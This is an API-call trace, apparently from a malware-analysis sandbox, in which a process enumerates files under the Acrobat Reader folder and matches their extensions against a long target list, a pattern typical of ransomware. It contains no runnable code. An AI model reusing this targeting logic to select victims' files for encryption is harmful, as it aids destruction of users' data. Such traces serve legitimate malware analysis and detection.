-1 [0265.092] lstrlenW (lpString=".der") returned 4 [0265.092] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".dib") returned 4 [0265.092] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".dic") returned 4 [0265.092] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".dif") returned 4 [0265.092] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".divx") returned 5 [0265.092] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.092] lstrlenW (lpString=".djvu") returned 5 [0265.092] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.092] lstrlenW (lpString=".dng") returned 4 [0265.092] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".doc") returned 4 [0265.092] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.092] lstrlenW (lpString=".docm") returned 5 [0265.092] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.092] lstrlenW (lpString=".docx") returned 5 [0265.093] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.093] lstrlenW (lpString=".dot") returned 4 [0265.093] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dotm") returned 5 [0265.093] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.093] lstrlenW (lpString=".dotx") returned 5 [0265.093] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.093] lstrlenW (lpString=".dpx") returned 4 [0265.093] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dqy") returned 4 [0265.093] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dsn") returned 4 [0265.093] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dt") returned 3 [0265.093] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.093] lstrlenW (lpString=".dtd") returned 4 [0265.093] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dwg") returned 4 [0265.093] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dwt") returned 4 [0265.093] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.093] lstrlenW (lpString=".dx") returned 3 [0265.093] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.094] lstrlenW (lpString=".dxf") returned 4 [0265.094] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".edml") returned 5 [0265.094] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.094] lstrlenW (lpString=".efd") returned 4 [0265.094] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".elf") returned 4 [0265.094] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".emf") returned 4 [0265.094] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".emz") returned 4 [0265.094] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".epf") returned 4 [0265.094] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".eps") returned 4 [0265.094] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".epsf") returned 5 [0265.094] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.094] lstrlenW (lpString=".epsp") returned 5 [0265.094] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.094] lstrlenW (lpString=".erf") returned 4 [0265.094] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.094] lstrlenW (lpString=".exr") returned 4 [0265.095] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.095] lstrlenW (lpString=".f4v") returned 4 [0265.095] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.095] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.095] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0265.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.095] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0265.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0265.097] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.367] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.367] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.367] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0265.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.368] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0265.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.368] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es") returned 106 [0265.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0265.369] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.369] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.369] lstrlenW (lpString="ui-strings.js") returned 13 [0265.369] lstrlenW (lpString=".1cd") returned 4 [0265.370] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.370] lstrlenW (lpString=".3ds") returned 4 [0265.370] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.370] lstrlenW (lpString=".3fr") returned 4 [0265.370] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.370] lstrlenW (lpString=".3g2") returned 4 [0265.370] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.370] lstrlenW (lpString=".3gp") returned 4 [0265.370] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.370] lstrlenW (lpString=".7z") returned 3 [0265.370] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.370] lstrlenW (lpString=".accda") returned 6 [0265.370] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.370] lstrlenW (lpString=".accdb") returned 6 [0265.370] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.370] lstrlenW (lpString=".accdc") returned 6 [0265.370] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.370] lstrlenW (lpString=".accde") returned 6 [0265.370] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.371] lstrlenW (lpString=".accdt") returned 6 [0265.371] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.371] lstrlenW (lpString=".accdw") returned 6 [0265.371] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.371] lstrlenW (lpString=".adb") returned 4 [0265.371] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".adp") returned 4 [0265.371] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".ai") returned 3 [0265.371] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.371] lstrlenW (lpString=".ai3") returned 4 [0265.371] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".ai4") returned 4 [0265.371] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".ai5") returned 4 [0265.371] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".ai6") returned 4 [0265.371] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.371] lstrlenW (lpString=".ai7") returned 4 [0265.372] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".ai8") returned 4 [0265.372] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".anim") returned 5 [0265.372] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.372] lstrlenW (lpString=".arw") returned 4 [0265.372] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".as") returned 3 [0265.372] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.372] lstrlenW (lpString=".asa") returned 4 [0265.372] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".asc") returned 4 [0265.372] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".ascx") returned 5 [0265.372] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.372] lstrlenW (lpString=".asm") returned 4 [0265.372] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.372] lstrlenW (lpString=".asmx") returned 5 [0265.372] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.372] lstrlenW (lpString=".asp") returned 4 [0265.373] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".aspx") returned 5 [0265.373] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.373] lstrlenW (lpString=".asr") returned 4 [0265.373] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".asx") returned 4 [0265.373] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".avi") returned 4 [0265.373] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".avs") returned 4 [0265.373] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".backup") returned 7 [0265.373] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.373] lstrlenW (lpString=".bak") returned 4 [0265.373] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".bay") returned 4 [0265.373] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.373] lstrlenW (lpString=".bd") returned 3 [0265.373] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.373] lstrlenW (lpString=".bin") returned 4 [0265.374] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".bmp") returned 4 [0265.374] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".bz2") returned 4 [0265.374] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".c") returned 2 [0265.374] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.374] lstrlenW (lpString=".cdr") returned 4 [0265.374] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".cer") returned 4 [0265.374] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".cf") returned 3 [0265.374] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.374] lstrlenW (lpString=".cfc") returned 4 [0265.374] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".cfm") returned 4 [0265.374] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.374] lstrlenW (lpString=".cfml") returned 5 [0265.374] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.374] lstrlenW (lpString=".cfu") returned 4 [0265.375] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".chm") returned 4 [0265.375] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".cin") returned 4 [0265.375] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".class") returned 6 [0265.375] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.375] lstrlenW (lpString=".clx") returned 4 [0265.375] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".config") returned 7 [0265.375] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.375] lstrlenW (lpString=".cpp") returned 4 [0265.375] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".cr2") returned 4 [0265.375] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".crt") returned 4 [0265.375] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".crw") returned 4 [0265.375] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.375] lstrlenW (lpString=".cs") returned 3 [0265.376] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.376] lstrlenW (lpString=".css") returned 4 [0265.376] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".csv") returned 4 [0265.376] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".cub") returned 4 [0265.376] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".dae") returned 4 [0265.376] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".dat") returned 4 [0265.376] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".db") returned 3 [0265.376] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.376] lstrlenW (lpString=".dbf") returned 4 [0265.376] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".dbx") returned 4 [0265.376] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.376] lstrlenW (lpString=".dc3") returned 4 [0265.376] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".dcm") returned 4 [0265.377] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".dcr") returned 4 [0265.377] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".der") returned 4 [0265.377] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".dib") returned 4 [0265.377] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".dic") returned 4 [0265.377] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".dif") returned 4 [0265.377] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".divx") returned 5 [0265.377] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.377] lstrlenW (lpString=".djvu") returned 5 [0265.377] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.377] lstrlenW (lpString=".dng") returned 4 [0265.377] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.377] lstrlenW (lpString=".doc") returned 4 [0265.377] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.378] lstrlenW (lpString=".docm") returned 5 [0265.378] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.378] lstrlenW (lpString=".docx") returned 5 [0265.378] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.378] lstrlenW (lpString=".dot") returned 4 [0265.378] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.378] lstrlenW (lpString=".dotm") returned 5 [0265.378] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.378] lstrlenW (lpString=".dotx") returned 5 [0265.378] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.378] lstrlenW (lpString=".dpx") returned 4 [0265.378] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.378] lstrlenW (lpString=".dqy") returned 4 [0265.378] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.378] lstrlenW (lpString=".dsn") returned 4 [0265.378] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".dt") returned 3 [0265.379] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.379] lstrlenW (lpString=".dtd") returned 4 [0265.379] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".dwg") returned 4 [0265.379] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".dwt") returned 4 [0265.379] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".dx") returned 3 [0265.379] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.379] lstrlenW (lpString=".dxf") returned 4 [0265.379] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".edml") returned 5 [0265.379] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.379] lstrlenW (lpString=".efd") returned 4 [0265.379] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.379] lstrlenW (lpString=".elf") returned 4 [0265.380] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".emf") returned 4 [0265.380] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".emz") returned 4 [0265.380] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".epf") returned 4 [0265.380] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".eps") returned 4 [0265.380] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".epsf") returned 5 [0265.380] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.380] lstrlenW (lpString=".epsp") returned 5 [0265.380] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.380] lstrlenW (lpString=".erf") returned 4 [0265.380] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".exr") returned 4 [0265.380] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.380] lstrlenW (lpString=".f4v") returned 4 [0265.381] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.381] lstrlenW (lpString=".fido") returned 5 [0265.381] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.381] lstrlenW (lpString=".flm") returned 4 [0265.381] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.381] lstrlenW (lpString=".flv") returned 4 [0265.381] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.381] lstrlenW (lpString=".frm") returned 4 [0265.382] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".fxg") returned 4 [0265.382] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".geo") returned 4 [0265.382] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".gif") returned 4 [0265.382] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".grs") returned 4 [0265.382] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".gz") returned 3 [0265.382] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.382] lstrlenW (lpString=".h") returned 2 [0265.382] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.382] lstrlenW (lpString=".hdr") returned 4 [0265.382] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".hpp") returned 4 [0265.382] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.382] lstrlenW (lpString=".hta") returned 4 [0265.382] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".htc") returned 4 [0265.383] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".htm") returned 4 [0265.383] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".html") returned 5 [0265.383] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.383] lstrlenW (lpString=".icb") returned 4 [0265.383] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".ics") returned 4 [0265.383] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".iff") returned 4 [0265.383] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".inc") returned 4 [0265.383] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.383] lstrlenW (lpString=".indd") returned 5 [0265.383] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.383] lstrlenW (lpString=".ini") returned 4 [0265.386] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".iqy") returned 4 [0265.386] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".j2c") returned 4 [0265.386] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".j2k") returned 4 [0265.386] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".java") returned 5 [0265.386] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.386] lstrlenW (lpString=".jp2") returned 4 [0265.386] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".jpc") returned 4 [0265.386] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.386] lstrlenW (lpString=".jpe") returned 4 [0265.387] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.387] lstrlenW (lpString=".jpeg") returned 5 [0265.387] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.387] lstrlenW (lpString=".jpf") returned 4 [0265.387] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.387] lstrlenW (lpString=".jpg") returned 4 [0265.387] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.387] lstrlenW (lpString=".jpx") returned 4 [0265.387] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.387] lstrlenW (lpString=".js") returned 3 [0265.387] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.387] 